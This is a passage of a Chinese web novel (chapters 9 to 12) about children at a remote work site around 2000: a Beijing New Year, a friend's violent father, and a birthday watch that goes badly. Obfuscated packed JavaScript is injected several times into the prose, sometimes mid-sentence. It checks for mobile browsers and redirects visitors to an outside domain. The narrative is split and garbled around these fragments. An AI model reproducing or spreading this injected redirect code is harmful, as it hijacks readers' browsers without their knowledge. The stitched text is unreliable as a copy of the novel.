“美国?”杜尚说,“你问这个干什么啊。” “你知不知道呀。”林其乐说。 杜尚走到她身边,绞尽脑汁回忆在学校看过的世界地图:“好像在地球对面?” “反正离咱们特别特别远!” § 蒋峤西刚转学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236588|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的时候,看上去就不像一个普通孩子。林其乐是早意识到这一点的,可她还是没想到,蒋峤西每天想的事情和他们是这么的不一样。 “去美国需要奥数很好吗?”林其乐问。 蒋峤西摇头。 林其乐问:“那你为什么还这么努力学?” 蒋峤西有些无奈,只是说:“我不能不学。” 林其乐在旁边坐了一会儿,又问:“去美国需要很多钱吗?” 蒋峤西说:“我堂哥一家会出钱。” 林其乐问:“蒋叔叔没有这么多钱?” 蒋峤西抬起眼看了她:“他还不知道,你别让他知道。” 林其乐的脑袋瓜子转得没那么快。她只是不明白,为什么会有家长无心照顾自己的孩子,又不愿意放孩子离开自己的身边。 蒋峤西继续做他的奥数题。林其乐从外面拿来了香蕉、可乐,又抱着她的波比小精灵坐回到蒋峤西身边。 小精灵的开关一开,就尖叫着喊林其乐:“妈妈!妈妈!” 蒋峤西抬头看了一眼。只见林其乐按动了另一个开关,波比小精灵便对蒋峤西问:“你叫什么啊?” 林其乐等着听,却不见蒋峤西说话。 林其乐代替他回答:“蒋峤西!” 波比小精灵便尖叫起来,录下了林其乐的声音:“蒋峤西!蒋峤西!” 林其乐咯咯直笑。蒋峤西却笑着嫌弃:“真难听。” 林爸爸这时推门进来,看见两个小朋友正玩得开心,他说:“峤西,你爸爸来了,你先出来一下。” 蒋峤西脸上刚刚有了一点笑容,这会儿又消失了。林其乐坐在原地,抬起头看蒋峤西放下手里的书,从她身边走出了卧室。 蒋峤西的妈妈梁虹飞在电话里说,她已经在省城给峤西报好了竞赛班,今天晚上从群山市出发,明天一早刚好能赶上第一节课:“爸爸妈妈都不在省城,你自己上个补习班没关系吧?你以前的同学费林格邀请你住在他家,你就去吧。” 林其乐抱着波比小精灵,眼看着爸爸妈妈突然走进卧室,在她身边拾起蒋峤西写到一半的奥数题,还有那些从香港寄来的奥数课本。 “要干什么?”她问。 林电工说:“樱桃,峤西一会儿就走,你帮他收拾收拾书,你看看,哪些是他的啊?” 蒋峤西先回家去了。他拿出自己的衣服,在司机帮助下打包了行李。等出来的时候,天已经黑透了,只有屋檐下透出些光来。蒋峤西背上自己的那个方形书包,他看到林其乐还抱着那个波比小精灵,就站在他面前。 蒋峤西对她说:“我先走了。”他越过林其乐,跟在那个司机身后,往这排砖瓦房子的尽头,路口停着的那辆车走。 蒋政还要留在群山工地继续工作,他望着自己小儿子离开的背影,舔了舔嘴唇,也没去送。 反倒是林其乐追上去了:“蒋峤西!” 蒋峤西走到了车边,把书包卸下来放进车里。他站在车门外,往前往后,能看到群山工地的大马路上,老人们,孩子们,聊天的,嬉戏的,都在其乐融融度过这个夜晚。 蒋峤西从林其乐怀中拿过了那个波比小精灵,他伸手按了一下开关。 “蒋峤西!蒋峤西!” 这个波比小精灵名字虽叫“小精灵”,却只有简单的录音和播放功能。简而言之,它发出的“蒋峤西”三个字音,并不是它在说,只是录下了林其乐当时的声音,做了简单的数字化处理。 “我拿走了。”蒋峤西手握那个小精灵,说。 林其乐愣了:“啊?” 等林其乐回过神来,蒋峤西已经坐进车里,拿着她最心爱的小精灵,就这么离开了群山工地。 二〇〇〇年到来了。林其乐起床以后先是看了一会儿自己的房间,又看床头空荡荡的小垫子。 “哪儿有什么世界末日,蔡方元这个骗子。”林其乐刷着牙,愤恨道。 10. 第 10 章 2000年的春节,林其乐是在北京度过的。 她大姑一家人住在北三环一条狭窄巷弄里,门头窄小。隔壁是一家理发店,兼给人修面刮脸。 林其乐闲的没事的时候,就搬着一个小板凳,坐到隔壁家门口看人理发,十次有七八次,会有客人塞糖果、花生给她。 家里正在择韭菜,准备包年夜饭饺子。林其乐跑回家去,绕过了妈妈和大姑身边,坐在高高的床垫上,吃她刚刚买的小糖马。 电视上正播一部电视剧,叫《贫嘴张大民的幸福生活》。 大姑和林其乐的妈妈感慨:“得亏当年没让你姐夫去那边厂里,你看看,好干吗?” “现在什么都不好干,”妈妈说,“我们那省城总部的房子,去年说分,到现在还没下来。” “还没分?”大姑一把把手里的韭菜放下了。 林其乐吃糖吃得专心。妈妈回头看了她一眼,正巧林电工也不在,她眉头蹙了,对林其乐的大姑讲:“群山工地干不了几年了,我原本想等分了总部房子,让樱桃去省城的学校念初中——” 大姑说:“该去!娟子,你们不能让她再在工地念书了。孩子到了中学得抓紧了!” 李艾娟一脸苦色,又无可奈何。 “姐,也不看看你弟是什么性格,”李艾娟从苦中露出一抹笑来,“分房子分房子让着人家,加班加点倒是他抢先。这工地最后要是留下人,我估计多半还是他留下!” 大姑脸色变了:“这不行,他自己打小儿乐意吃亏,让他自个儿吃去。你们娘俩可不能跟着老受罪,等他回来我去说说他!” “您要是真能说动他了,”李艾娟端起择好的一小盆韭菜去厨房洗,“我就服您了!” 林电工带着林其乐的表哥上街买鱼去了。林其乐坐在床垫子上又看了一会儿张大民,把手里的小糖马吃了一大半。 “樱桃!”大姑忽然叫她,声儿悄悄的,“樱桃?” 林其乐那大眼睛一瞟,发现大姑在表哥那小屋里,掩着门缝,冲她招手,悄悄叫她进去。 妈妈还在厨房剁韭菜馅儿。林其乐走进了表哥的小屋,被大姑拉到了床前。 表哥这屋还不如林其乐在群山的小卧室大呢。起码林其乐自己还有个书桌,表哥连看书写字儿都得在床上。 “樱桃,今年期末考试考得怎么样啊?”大姑笑着问。 林其乐咬了咬嘴:“不好。” 大姑用她那双肥胖的,布满皱纹的手捏了捏林其乐的小脸蛋,又沿着林其乐脖子上挂的红线,把那一小粒红色的琥珀从林其乐棉袄领子里揪出来。 “真好看,像樱桃,是不是啊,”大姑笑道,她两只手小心翼翼捧着林其乐的琥珀,“大姑还记得你出生那天,那会儿刚刚四月份!” “我在北京上着班,接到你爸爸打来的电话!说,樱桃出生啦!中午一下班,我就叫上了你姑父,我们俩一块儿去了趟潘家园!到那儿看呀看呀,我就相中这个了!” 林其乐听着关于她自己的出生故事,脸上不禁笑。 “别的孩子出生,人家都送金件儿,”大姑抬起眼来,用一种慈爱的,怜惜的目光看林其乐,“大姑买不起多好的金件,送给樱桃一个琥珀,我听说,琥珀是好东西,趋吉避凶,几千几万年都不会变的!” 林其乐认认真真点头了。 大姑往门外瞥了一眼,像是提防着弟妹突然出现。她从自己口袋摸出一个红纸包成的小包包,塞进了林其乐的棉袄兜里。 “这是大姑给你的,”她说,“别让你爸妈瞧见,不然他们就拿走了!” 林其乐眨了眨眼:“是压岁钱吗?” 大姑笑道:“是!” 林其乐掩饰不住她脸上的激动,她最喜欢过年! 大姑说:“别乱花,把钱存起来,有想买的东西再买!” 林电工和表哥提着新鲜的鲤鱼从外面回来了。林其乐去看爸爸杀鱼,又去外面街上看人家杀鸡。 北京的天黑得早,妈妈从屋子里出来,拉林其乐回去。 这里到底不比群山工地。北京这条小巷子,什么住户都有,鱼龙混杂的,林其乐一个外地来的小女孩,万一走丢了,被人抱走了,根本找都找不着。 还没进家门的时候,妈妈忽然蹲下来,对林其乐认真道:“樱桃,大姑和姑父今年如果要给你压岁钱,千万不能要,知不知道。” 林其乐一愣。 妈妈说:“你有什么想要的,爸妈给你买。你表哥今年上高中,你姑父又生病了,不能要大姑的钱。” 林其乐蹲在厨房门口剥蒜,把白生生的蒜瓣搁进碗里。她听到妈妈和爸爸在厨房里小声商量。 “一千吧,就一千吧,”爸爸笑着说,“好不容易来一回。” 妈妈说:“那你偷偷给孩子,别让大姐看见!” 播春节晚会的时候,林其乐还在想妈妈说的压岁钱的事情,怎么办呢,大姑的钱要怎么办。 大姑家里电话不停地响,把晚会节目打断,都是亲戚同事打来的拜年电话。 还有表哥的同学,打电话约他年后出去玩。 林其乐忽然想,蒋峤西现在在省城正做什么,也在吃饭,在看晚会吗? § 群山工地入了夜,只有一小半房子还亮着灯。留守在工地上过年的人家并不多,杜尚和他妈妈端着自家做的饭菜,跑到余樵家来拼桌,一道吃年夜饭。 余樵正看春节晚会上章子怡出来唱歌。他爸爸叫他:“余樵!过来接电话!” “谁啊?” “蒋峤西。” 余樵眉头一挑,他越过杜尚,站起来去接电话。 蒋峤西从省城打电话来,余樵实在没想到。虽然在一块儿上了半年学,还是同桌,但其实课下他们的关系并不像别的男生之间那么亲近。 蒋峤西不爱说话,成天学习,不玩游戏,也不喜欢开玩笑。余樵和他其实没什么共同语言。 “喂?”余樵说。 蒋峤西在电话里说:“新年好。” 余樵听着蒋峤西那边安安静静的,好像蒋峤西正待在一个空荡荡的房子里,不像过年。他说:“新年好。” 这通拜年电话的气氛开始尴尬了。余樵这边正热闹,杜尚在饭桌旁问:“余叔叔,章子怡是谁啊?” 蒋峤西问:“你们正在一起吃年夜饭吗?” 余樵回头看了杜尚一眼,说:“杜尚他爸没回来,我爸就把他和他妈叫来一块儿吃饭了。” 蒋峤西问:“只有你们两家?” 余樵手握着座机听筒,稍微动用了一下他的脑袋瓜子。 “林樱桃上北京了,”余樵说,“上她大姑家过年去了。” 蒋峤西那边安静了一会儿。 余樵善心大发道:“大年初五回来。” 他又问:“你在省城怎么样,蔡方元在那边儿补习班跟得上吗?” 蒋峤西笑道:“他的书在这边也被校长没收了。” 余樵也笑起来:“你开学还回不回来上学?” “回去。”蒋峤西笃定道。 余樵说:“那你把作业借我抄抄。” 大年初五这天,林其乐坐在离京回家的火车上,塞着耳机听歌。 爸爸坐在旁边,拿过林其乐的耳机听了一下,跟着哼唱:“深深太平洋底……” “爸爸。”林其乐突然叫他。 “怎么啦。”林爸爸说。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236589|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其乐郑重道:“我拿走了大姑给我的二百块钱。” 林电工一听这个,把耳机摘下来了,低头看她。 林其乐坦白交代:“大姑给了我四百。” 林电工问:“你把那二百块放哪儿了?” 林其乐揉搓着她的手指,道:“我走之前,悄悄塞到我表哥的铅笔盒里了。” 火车几乎走了一天,摇摇摆摆,终于在群山市火车总站停下了。林其乐被爸爸从车上背着下来,到站台上了,她站着还想睡,被妈妈摇醒。 “樱桃,到家啦!”妈妈笑道,“你看看谁来接你了?” 半夜三更,市里的公交车都停了。余班长开着一辆小面包车,过来接林电工一家人回工地。林其乐坐在车里,睡眼惺忪地揉眼睛。 余班长一边和林电工夫妻俩说话,一边笑着问:“樱桃!北京好不好啊?” “好!”林其乐回答。 “那北京好还是群山好啊?” 林其乐答:“群山好!” 一进家门,林其乐就背着她的小书包跑进了久违的小房间。余班长说:“樱桃,明天上张奶奶家把你的兔子接回来。” “好!”林其乐检查完窗台上她的那盆万年青,回头想探望一下独自在家过年的波比小精灵。 啊。林其乐这时才想起来。 小精灵今年是在省城过的年。 是陪蒋峤西一起过的年。 不知道蒋峤西现在在省城做什么,这么晚了,应该在睡觉吧。林其乐把她的书包放在床上打开,把里面大姑装的糖果和庙会上买的五颜六色的发卡还有画片拿出来。 画片中间夹着一本薄薄的《圣斗士星矢》漫画。 林其乐想起来,她临走前看到了这一本,还没看完,雅典娜站在水边,等着她的英雄们前去救她。表哥家只有这么一套漫画,林其乐没有别的可选。 她不小心把这一本带回来了,还要打电话和表哥说一声。 漫画书翻开,一张字条从里面掉出来。 “妹妹,”是表哥的字,规规矩矩,方方正正,“这五百元钱,你买点零食吃。也别光吃零食,好好学习,让你爸爸妈妈和我们也骄傲骄傲!” 不得了了! 大年初六的中午,林其乐发现自己身价高涨,一下子成了“千元富翁”! 表哥给了她五百,大姑给了她两百,余叔叔给了一百,这加起来已经是八百元压岁钱了! 林其乐去张奶奶家抱回她心爱的小白兔时,张奶奶又神秘兮兮地给她一张小红包,里面拆开又是两百块钱。 林其乐感觉钱多得烫手了! 大年初八的深夜,林其乐正在酣睡,隐约听见门外传来急促的敲门声。 是余叔叔的声音:“老林!老林!起床了!” 林电工夫妻俩匆忙起床,披上外套,跑出去,打开门。 天冷着,余班长一开口都是白雾:“杜永春回来了,半夜又把老婆孩子给打了!” 林电工愣了一愣,他走出门,问:“杜尚呢?” 林其乐的睡衣外面套上了厚厚的棉裤棉袄,她跟在大人身边出了家门,趁着黑夜,往前走。群山工地职工医院的大门敞开着,几个年轻护士看起来也是半夜接到电话,套上大衣匆忙赶过来的。 林其乐走进大人们围着的那间病房。 杜尚坐在病床上,背对着门,他头上缠了几圈绷带,正垂着头耸着肩委屈地哭。护士们围着他,哄这个哭得毫无尊严的小男孩。 余樵的妈妈手拿着结完的药费单子,坐在旁边把杜尚搂过来,心疼得一阵“哎哟”。 只见杜尚倚在她的怀抱里,闷声哭道:“什么武功,一点儿用也没有,我还是打不过他……” 11. 第 11 章 杜尚上次提起,说他长大了以后想去当医生。 林其乐想走进去看他,被余樵拽住了,原来是有医生叔叔过来了,要给杜尚的妈妈做检查。杜尚刚刚还哭,这会儿用力一擦眼睛,一吸鼻子,也跟去了妈妈病床边。 医生叔叔在做什么,杜尚在旁边睁着泪眼看,肩膀还一抽一抽的。他哽咽道:“妈,你别怕疼啊!” 职工医院门口闹哄哄的。林其乐忽然被妈妈抱住了,她扭回头,瞧见一个被许多叔叔伸手拦着,又都没能拦住的成年男人闯进了医院。那人身上有股浓郁刺鼻的酒气,穿着一身和爸爸、叔叔一样的深蓝色工作服,领口敞开了,头发很长,胡子也长,没修理,看起来不像有家庭的人。 余班长上楼去院长室找公章了,这会儿他站在楼道处喊道:“把杜永春拦住!” 林其乐看着自己的爸爸从病房里出来,伸手往杜叔叔胸前去拦,那杜叔叔却两眼直勾勾的,拳头在下面紧紧攥着,说:“老林,你让开,老林,我不和你动手,你让开——” 林爸爸不肯让,屋里是杜尚他们娘俩,还有一帮年纪轻轻的小护士。“杜哥,”他恳切道,“你冷静点儿!你别闹了!” 杜永春倒吸了一口气,忽然在林电工面前跪下了。 一片寂静。当着在场所有人的面,杜永春一下一下的,膝行进了病房里,跪着去了病床边。他伸手要去握儿子杜尚的手,却被杜尚下意识躲开了。杜尚向后倚,像躲一个瘟神一样地避开他,还把自己的妈妈保护在背后。 病房里没人说话,这时林电工走过去,一把扶住了杜永春的肩膀,把他和杜尚隔开了。 林其乐的手紧揪住妈妈的外套。她悄悄抬头看了妈妈一眼,又看向病房里,这一幕着实令她疑惑不解。 等天亮了,到第二日早晨,群山工地又是一派热闹气象。林其乐走在街上,看到秦叔叔在小卖部门口练气功,看到不少叔叔阿姨说说笑笑,去工地食堂吃早点。新年刚过,每个工人都享受过了家庭的团圆。并没有多少人知道昨天半夜在十一排单身宿舍发生过什么。 林电工说,今天他请假,正好带孩子们去市里玩。林其乐翻开她桌头那本薄薄的《圣斗士星矢》,从里面拿出一张一百元钱。是大红色的新一百,特好看。 “杜尚,”林其乐走在人堆里,主动握住杜尚的手,“我们去群山百货大楼吃那个新开的肯德基!” 杜尚两只眼睛还是红肿的,他今天原本想跟着妈妈去市人民医院,可余叔叔不让他去,林叔叔硬拉着他出门去玩儿。 “肯德基?”杜尚声音里还有哭腔,他实在是很爱哭,“就那个肯德基?特贵的那个肯德基?” 余樵穿着羽绒服,从旁边打量来来往往的车辆。余樵不爱做些腻腻歪歪的举动,但这会儿他也从旁边搂住了杜尚的脖子,像个“好哥们儿”“好兄弟”。他说:“你还不知道林樱桃发了?” 群山市这家肯德基是元旦时候开的。刚开那一阵儿,感觉全城的人都在议论它。哎哟,这是西餐厅,高级,时髦,多稀罕啊。还有人跑去肯德基举行婚礼。 林其乐等三个小孩,加林电工一个大人,坐在群百大楼肯德基店一个角落里吃午餐。三个孩子一人抱着一个汉堡狂啃,林电工在旁边看着他们仨这吃相,他光笑,也不吃,连连感慨:“这就是美国人吃的西餐啊!” “爸爸,”林其乐嘴上都是酱汁了,她举起自己手上的汉堡,“你尝尝!” 林电工连忙摆手:“我吃不惯,吃不惯,你吃吧!”还拿纸巾给林其乐把嘴擦了擦。 等回了工地,妈妈一听说他们几个吃了顿什么饭,哭笑不得:“在食堂五块钱吃得好着呢,你们真阔气,吃了多少钱啊?” 放寒假没别的事,杜尚一连几天都住在余樵家,白天就合伙儿来林其乐这里玩。他坐在林其乐的小床边,说:“我那天想点他的穴,怎么点不到啊?” 林其乐在旁边吃一块烤红薯,她烫得直吐舌头,掰开一小半给杜尚吃。 杜尚捧着那块红薯,可能还在思考为什么点穴不顶用的问题。 林其乐偏头看了他一眼,发现杜尚脸上的眼泪簌簌往下淌,都掉到冒着热气的烤红薯上了。 林其乐突然觉得,杜尚每天在想的,可能也是和她,和他们这些同龄人,完全不一样的事情。 “杜尚,”林其乐轻声道,“我们去看小白兔吧!” 杜尚一下子从悲伤中回过神来了。 大冬天的,兔笼被林其乐放在了厨房一角,比院子里头暖和许多。 杜尚蹲在了兔笼前,他用还包着纱布的手颤巍巍接住了林其乐抱给他的,柔软温热的小兔子。 “樱桃。” “嗯?” “是不是只要我哭了,你就让我看小兔子啊……”杜尚又哭得抽抽起来。 林樱桃点头。 杜尚不甘心道:“那为什么……为什么蒋峤西转学过来第一天,你就让他看了?” 林樱桃愣了。 她仔细回忆了一会儿,回忆几个月前,和蒋峤西的第一次见面。 “他那天,”林樱桃也不知道如何描述,“那天也不太高兴……有点像是……像也要哭了。” § 新学期开学之前,林电工去市里少年宫给林其乐报了舞蹈特长班。 妈妈边给林其乐收拾小书包边数落她:“一年级学画画,二年级学书法,三年级又学电子琴,四年级了开始学舞蹈。你看看你,是不是很没常性啊?” 林其乐感觉自己马上要成为小舞蹈家。她在床上蹦,然后问:“爸爸!蒋峤西什么时候回来啊?” 林电工收拾着饭桌,说:“应该今天下午到吧。” 林其乐跑下了床,到自己书桌前。她从一板花花绿绿的发卡中抽出一支黑色的来,别到了自己头发上。 妈妈说:“你下午乖乖去上舞蹈课!上完了再去找他玩。怎么不戴别的颜色啊?黑色这么老气。” 林其乐看着镜子里的自己,撅着嘴:“我就要黑色。” 自从蒋峤西转学到群山来,林其乐每天与他待在一起,从没有分开这么久过。 舞蹈课又累又疼,林其乐上着课,还把腿给扭了,下了课她还一直哭。 余樵和杜尚在隔壁上国画课。余樵看她这样,只好扶着她一瘸一拐地走。杜尚说:“樱桃,你今天戴了个新发卡?” 林其乐吸着鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林其乐摇头,十分之理直气壮。 元宵节当天,中能电厂小学还没开学。蒋峤西一大清早起了床,刷完牙洗完脸,接到堂哥打来的电话。他有点着急,讲完电话,穿好外套,出了门跑去隔壁林其乐家吃汤圆去了。 林其乐吃得太着急,黑芝麻馅儿淌出来,烫了她的舌头。她只好把汤圆碗先搁到一边儿,然后在蒋峤西的监督下不情不愿地埋头补数学作业。 三月将近,蒋峤西晚上在林其乐家学到了九点多,回隔壁自己家的时候,正巧遇上他爸在客厅打电话。 “你儿子自己想来,别再跟我发疯了。”蒋政坐在沙发上,抽着烟看报纸。 回头一瞅蒋峤西进家门来了。蒋政用夹烟的手拿过茶几上一个黑色的很精致的盒子,在原地拿起来,原地一放。 “生日礼物,”蒋政把座机听筒放回去了,对儿子道,“给你的。” 蒋峤西瞧着那个黑色的盒子,站在原地不动。 蒋政继续看报纸,半天发现蒋峤西没反应,他回过头,弹了弹烟灰:“拆开看看去吧。” 蒋峤西在烟雾弥漫中走上前,他拿起了那个盒子,像拿起他不得不接受的命运。他走回卧室去,关上了门,在自己床边坐下,他三两下把那个盒子拆开了。 一块纯黑色的手表躺在里面。 蒋峤西垂着脖子,他的眼眸盯住这所谓的“礼物”。 他鼻子一酸,忍不住把自己的嘴唇恨恨地咬紧了。 12. 第 12 章 林其乐明显感觉蒋峤西情绪不对。连着几天,蒋峤西见谁都不笑,在学校里从早到晚阴着一张脸,夜里来林其乐的小屋写作业,也不和她说话,只沉浸在自己的奥数题目里。 他连写字做题都变得没有耐心了,写错了也不擦,会一反常态把演算纸粗暴地揉起来,丢到一边。 林其乐坐在旁边,只能悄悄看他,悄悄地抱起小精灵,免得被他的纸团砸到。 蔡方元说,他以前还没觉得蒋峤西这个人有什么古怪之处。 “这次寒假,我在省城补习班碰见他,”蔡方元坐在学校的暖气管道上,对林其乐几人讲,“感觉他在省城,像变了一个人。” 林其乐不明白,问:“变了一个人?” “反正就……”蔡方元一脸苦色,“一开始我见了他,我都不敢打招呼!你知道吗,他好像不认识我了!” 林其乐不知道蔡方元为什么会有这样的想法:都做了半年同学,怎么会不认识的。 “今天是三月四日!”林其乐把手里的《圣斗士星矢》翻开,这一翻,周围几个男孩子当即“哇”出了声。只见那漫画书里冒出好几张大红大红的钱尖儿来。“明天就是蒋峤西的生日了!”林其乐看他们,高兴道,“我们给他买什么好啊?” 杜尚平时兜里能有个十块钱就很得意了。“这是你今年的压岁钱?”杜尚问,“樱桃,你要全花了?” “不不不,”林其乐摇头,她从书里拿出一张一百块,放进自己的口袋里,她数了数剩下的,是八百块,“我要花这些!” 蔡方元那双小眯缝眼抬起来了,他用一种很耐人寻味的眼神去看林其乐,又看杜尚和余樵。八百,就是对蔡方元来说,这也太多了。 多得不寻常。哪怕蔡方元知道林其乐一向是个一头热、自来熟的笨蛋。 林其乐说:“你们每个人再随便给我点钱,就当我们凑钱一起给他买的,好不好啊?” “行啊,”余樵听了,从自己兜里随便一摸,摸出两个钢镚儿,直接扔给林其乐了,“你打算买什么?” 蒋峤西从教室里出来,他有本习题册怎么找也找不着了,怀疑昨天是不是忘在林其乐家了。教室里都是同学,蒋峤西也不能贸然去翻林其乐的课桌和书包。 他站在走廊上,听到周围有人嬉笑:“你看,你看,一班那个林樱桃又犯病了——” “余樵老招她,怎么不去惹秦野云啊?” 蒋峤西回想起,昨天晚上,林其乐好几次让他陪她玩过家家。蒋峤西忙着做题,心情也不好,实在受不了才说了句,你能不能先安静一会儿。 从听了那句话,林其乐就闭上嘴巴不讲话了。就连今天上学路上,她都没再烦他。 蒋峤西站在走廊边,他看到外面操场上,林其乐和余樵追打得正凶。余樵个子那么高,手里捏着林其乐这几天一直特别宝贝的那本《圣斗士星矢》,林其乐怎么追,怎么够,都够不着。 蒋峤西转身回班里去,继续学习了。 下午放学,只有蔡方元和蒋峤西一起走。蒋峤西背着书包,站在校门口愣了愣,往前往后看,才意识到林其乐几个人是真的早就跑没影儿了。 蔡方元在身边讲:“她和余樵他们上群百大楼了,去买那个——”说到这儿,蔡方元一顿,估计是想起了谁的嘱托,“他们上群百大楼玩儿去了!” § 蒋经理下班以后没回工地。蒋峤西只得独自在林叔叔家吃饭。 连林电工夫妻俩也明显感觉,蒋峤西这孩子最近情绪很不好。 林其乐和余樵他们一放学就搭公共汽车去群百大楼了。几个孩子才十岁,一个比一个胆大、有主意,山上山下城里城外就没有他们不敢闯、不敢去的地方,净让大人操心。 蒋峤西吃完了饭,背起书包打算走了:“叔叔阿姨,我回家了。” 林电工说:“峤西啊,你不留下写作业了?” 蒋峤西摇头,推开了纱窗门。 林其乐回群山工地时已是夜里八点多了。余班长开车去群百大楼接他们回家。一路上,余樵被爸爸教训得狗血淋头,杜尚在旁边,听得也是战战兢兢。 林其乐拿着手里的小纸袋,望向窗外夜幕中的城市,微微出神了。 谁也不知道她在想什么。 蒋峤西在台灯下做着题,听到门外传来敲门声。 一开始是规规矩矩的“咚咚咚”。 然后才是林其乐略微忐忑的声音:“蒋峤西,你在不在家?” 蒋峤西手里还在算一道题。他想,我算完这道题再说。这么想着的时候,他已经不由自主把笔放下,站起来了。 门打开,林其乐就站在门外。 夜晚的群山工地,每一点亮光都是一个家庭正在团聚。 “蒋峤西,生日快乐,”林其乐抬头看着蒋峤西的脸,她笑得甜甜的,“我们几个一起给你买了生日礼物!” 蒋峤西也许原本还有什么坏情绪,他低头瞧着林其乐的脸,不自觉后退了一步,让林其乐进到他家里来。 不比林其乐家那么拥挤温馨,蒋峤西的家更像是一个男人简陋的单身公寓,只是多安置了一张小床给他这个孩子。 林其乐把手里的纸袋拿了出来。 那是一只纯黑的纸袋,看上去非常高级,袋子上印了一个熟悉的标志,如果蒋峤西没看错的话,前几天他才刚刚见过。 林其乐眼睛睁大了,看起来既幸福又激动。大概在林其乐看来,她在做一件非比寻常的事。 “给,”林其乐走过来,把小纸袋交到蒋峤西的手里,“你拆开看!” 蒋峤西听着林其乐的话,低头瞥了一眼手中这纸袋里装的东西。 他的脸一时间非常僵硬。蒋峤西推开卧室的门,走进去了,他在林其乐面前坐下,打开了纸袋,把里面的盒子拆开。 一块纯黑色的手表躺在里面。 蒋峤西垂着脖子,平静地打量这黑色的表带,黑色的表盘。 蒋峤西抬起头:“这是谁买的?” 林其乐脸上原本有的紧张与期待,在看到蒋峤西神情的一霎那,顿住了。 “我……”林其乐说,“我们几个一起买的。” 蒋峤西就这么看着林其乐,他仿佛对手中这个盒子完全不感兴趣。哪怕这是群山百货大楼钟表专柜里很贵很贵的手表了,是唯一的美国货,还正好是林其乐要找的纯黑色。手表柜台老板还告诉她,全群山市只有他们柜台进了两只,是最高级的了,拿来送给省城的孩子,绝不显得跌份儿:“前几天刚卖掉一只,就剩这一只了!” 林其乐从没被蒋峤西这么看过,一时很不知所措。 “你不喜欢吗?”林其乐问,“我……我以为你会喜欢……” “我为什么会喜欢?”蒋峤西问。 林其乐说:“你不是喜欢黑色吗?” 蒋峤西一下子嗤笑出声了。 林其乐说:“而且你想去美国——” “谁告诉你我喜欢黑色。”蒋峤西说。 林其乐渐渐咬住了自己的嘴唇。 她并不知道蒋峤西现在是怎么了。 她只知道她不喜欢蒋峤西这样和她说话。 蒋峤西把手里的腕表盒子连同那个纸袋随手一丢,独自进他的小房间里去了。 蔡方元今天在学校说:“感觉他在省城,像变了一个人。” “……见了他,我都不大敢打招呼!” 林其乐突然想起这些,她走进蒋峤西的屋子里。 蒋峤西看上去根本不在乎林其乐的礼物,哪怕这花了林其乐几乎一年的压岁钱,对她这个年纪的孩子来说,这有时就是未来一年的积蓄。林其乐和余樵、杜尚跑了那么多专柜,挑挑拣拣,一起凑钱,才买到了这只最合心意的手表。 林其乐不太甘心,她走到了蒋峤西身边。 蒋峤西坐在台灯下继续写奥数题目,他突然说:“我在省城见到陈明昊了。” 林其乐一愣,她心里还想着怎么告诉蒋峤西这只手表有多么好。 蒋峤西抬起头来了,他望着林其乐那懵懂的,因为过于幸福,总是无忧无虑、天真烂漫笑着的脸:“他不记得你是谁。” 林其乐站在原地,看着蒋峤西,安安静静。 蒋峤西低头看自己的奥数书,说:“我提醒他了。他说,是不是那个戴着个红色塑料珠子,还以为是琥珀的小女孩。” 屋子里安静极了。 林其乐走了。蒋峤西抬起头来,他没有听到林其乐哭,甚至没有见到林其乐生气、哀怨,甚至憎恨谁的模样。 蒋峤西想低头继续写他的题目,却一时半会儿无法写下去。 他刚刚对她说了什么? § 林电工推开纱窗门,见是蒋峤西在门外,一愣:“樱桃不是给你送生日礼物去了吗?” 蒋峤西说:“她刚才走了。” 林电工笑着说:“她没回家,那估计是去谁家玩了吧。” 蒋峤西向叔叔道了再见。有那么一会儿蒋峤西想,如果林叔叔知道他刚刚怎么和林其乐说话,可能就再也不会像这样对他好了。 还没走到余樵家门口,蒋峤西就听到杜尚的声音了。 “樱桃,看我,看我啊!”杜尚说着,突然就响起了清脆的竹板声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236591|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“竹板这么一打呀,是别的咱不夸!” 杜尚模仿得惟妙惟肖。哪怕蒋峤西根本没看过今年的春节晚会,也在大街小巷收音机里听过这一段小品了。 他没走进余樵家,就隔着那扇纱窗门,夜色中,他看见林其乐坐在沙发上一边笑,一边揉眼睛。 林其乐连哭的时候都能开心地笑。她头上戴着一片黑色的发卡,这会儿还没摘下来。余樵妈妈也在旁边被杜尚逗得乐不可支,她剥着手里的炒板栗,把剥好的塞到林其乐手心里,像对自己的亲闺女。 夜里十点多,蒋峤西在他的书桌前埋头学习,听见外面客厅里突然又响起敲门声。 蒋政在外面打开门,意外道:“樱桃来了!” 